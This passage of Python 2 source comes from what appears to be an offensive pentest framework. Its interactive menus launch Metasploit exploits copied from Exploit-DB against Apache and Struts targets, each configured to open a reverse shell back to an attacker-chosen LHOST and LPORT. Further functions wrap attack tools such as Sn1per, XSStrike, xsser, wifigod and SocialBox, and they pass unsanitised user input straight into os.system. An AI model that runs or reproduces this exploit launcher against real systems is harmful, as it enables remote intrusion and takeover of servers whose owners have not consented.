        uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/25980)"+R+"(set targeturi)"+N+"): ")
        print'targeturi => ',uri
        param =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/25980)"+R+"(set PARAMETER)"+N+"): ")
        print'PARAMETER => ',param
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/25980)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/25980)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/25980)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/multiple/remote/')
           os.system('cp /usr/share/exploitdb/exploits/multiple/remote/25980.rb /root/.msf4/modules/exploits/multiple/remote/')
           os.system('msfconsole -q -x "use exploits/multiple/remote/25980 ; set RHOSTS %s ; set RPORT %s ;set HTTPMETHOD POST; set PARAMETER %s; set TARGETURI %s ; set payload generic/shell_reverse_tcp; set lhost %s ; set lport %s ; run "'% (host,port,uri,param,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/multiple/remote/27135.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/27135)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/27135)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/27135)"+R+"(set targeturi)"+N+"): ")
        print'targeturi => ',uri
        param =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/27135)"+R+"(set WritableDir)"+N+"): ")
        print'WritableDir => ',param
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/27135)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/27135)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/27135)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/multiple/remote/')
           os.system('cp /usr/share/exploitdb/exploits/multiple/remote/27135.rb /root/.msf4/modules/exploits/multiple/remote/')
           os.system('msfconsole -q -x "use exploits/multiple/remote/27135 ; set RHOSTS %s ; set RPORT %s ; set TARGETURI %s ; WritableDir %s ; set payload generic/shell_reverse_tcp; set lhost %s ; set lport %s ; run "'% (host,port,uri,param,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/multiple/remote/45367.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/45367)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/45367)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/45367)"+R+"(set targeturi)"+N+"): ")
        print'targeturi => ',uri
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/45367)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/45367)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/45367)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/multiple/remote/')
           os.system('cp /usr/share/exploitdb/exploits/multiple/remote/45367.rb /root/.msf4/modules/exploits/multiple/remote/')
           os.system('msfconsole -q -x "use exploits/multiple/remote/45367 ; set RHOSTS %s ; set RPORT %s ;set ACTION showcase.action ; set ENABLE_STATIC true ;  set TARGETURI %s ; set payload cmd/unix/reverse; set lhost %s ; set lport %s ; run "'% (host,port,uri,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

    elif map =='set exploits/multiple/remote/44643.rb':
        host =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/44643)"+R+"(set RHOST)"+N+"): ")
        print'RHOST => ',host
        port =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/44643)"+R+"(set RPORT)"+N+"): ")
        print'RPORT => ',port
        uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/44643)"+R+"(set targeturi)"+N+"): ")
        print'targeturi => ',uri
        param =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/44643)"+R+"(set POSTPARAM)"+N+"): ")
        print'POSTPARAM =>',param
        lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/44643)"+R+"(set LHOST)"+N+"): ")
        print'LHOST => ',lhost
        lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/44643)"+R+"(set LPORT)"+N+"): ")
        print'LPORT => ',lport
        re =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/apache"+G+"(exploits/multiple/remote/44643)"+N+"): ")
        if re =='run':
           os.system('mkdir -p /root/.msf4/modules/exploits/multiple/remote/')
           os.system('cp /usr/share/exploitdb/exploits/multiple/remote/44643.rb /root/.msf4/modules/exploits/multiple/remote/')
           os.system('msfconsole -q -x "use exploits/multiple/remote/44643 ; set RHOSTS %s ; set RPORT %s ;set POSTPARAM %s ;  set TARGETURI %s ; set payload cmd/unix/reverse; set lhost %s ; set lport %s ; run "'% (host,port,uri,param,lhost,lport))
           apache()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            apache()

###########################################################################################################################################################################################################################################################33
    elif map =='exit':
         print
         print""+G+"Thanks for using PTF"
         print
         exit()
    elif map == 'back':
        core.menu.exploits()

    elif map =='clear':
        clean()
        apache()
    else:
        print "Wrong Command => ", map
        print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
        apache()

#Tools
def atscan():
    try:
       shel = raw_input(""+N+"Pentest>> ("+B+"modules/tools)"+R+"(ATSCAN)"+N+"): ")
       if shel:
         os.system('cd modules/ATSCAN && perl atscan.pl %s'%(shel))
         print'\033[1;37m'
         atscan()
    except(KeyboardInterrupt):
        print'\n'
        core.menu.tools()
def sublist3r():
    try:
       shel = raw_input(""+N+"Pentest>> ("+B+"modules/tools)"+R+"(sublist3r)"+N+"): ")
       if shel:
         os.system('cd modules/Sublist3r&& python sublist3r.py %s'%(shel))
         print'\033[1;37m'
         sublist3r()
    except(KeyboardInterrupt):
        print'\n'
        core.menu.tools()
def wifigod():
    try:
        os.system('xterm -e python modules/wifigod/wifigod.py')
        print'\033[1;37m'
        core.menu.tools()
    except(KeyboardInterrupt):
        print'\n'
        core.menu.tools()
def snip3r():
    try:
       shel = raw_input(""+N+"Pentest>> ("+B+"modules/tools)"+R+"(snip3r)"+N+"): ")
       if shel:
         os.system('cd modules/Sn1per && ./sniper %s'%(shel))
         print'\033[1;37m'
         snip3r()
    except(KeyboardInterrupt):
        print'\n'
        core.menu.tools()
def xsstrike():
    try:
        shel = raw_input(""+N+"Pentest>> ("+B+"modules/tools)"+R+"(xsstrike)"+N+"): ")
        if shel:
           os.system('cd modules/XSStrike && python3 xsstrike.py %s'%(shel))
           print'\033[1;37m'
           xsstrike()
    except(KeyboardInterrupt):
        print'\n'
        core.menu.tools()
def socialbox():
    try:
        os.system('xterm -e bash modules/socialbox/SocialBox.sh')
        print'\033[1;37m'
        core.menu.tools()
    except(KeyboardInterrupt):
        print'\n'
        core.menu.tools()
def searchsploit():
    try:
        shel = raw_input(""+N+"Pentest>> ("+B+"modules/tools)"+R+"(searchsploit)"+N+"): ")
        if shel:
           os.system('searchsploit %s'%(shel))
           print'\033[1;37m'
           searchsploit()
    except(KeyboardInterrupt):
        print'\n'
        core.menu.tools()
def xsser():
    try:
        shel = raw_input(""+N+"Pentest>> ("+B+"modules/tools)"+R+"(xsser)"+N+"): ")
        if shel:
           os.system('cd modules/xsser && ./xsser %s'%(shel))
           print'\033[1;37m'
           xsser()
    except(KeyboardInterrupt):
        print'\n'
        core.menu.tools()
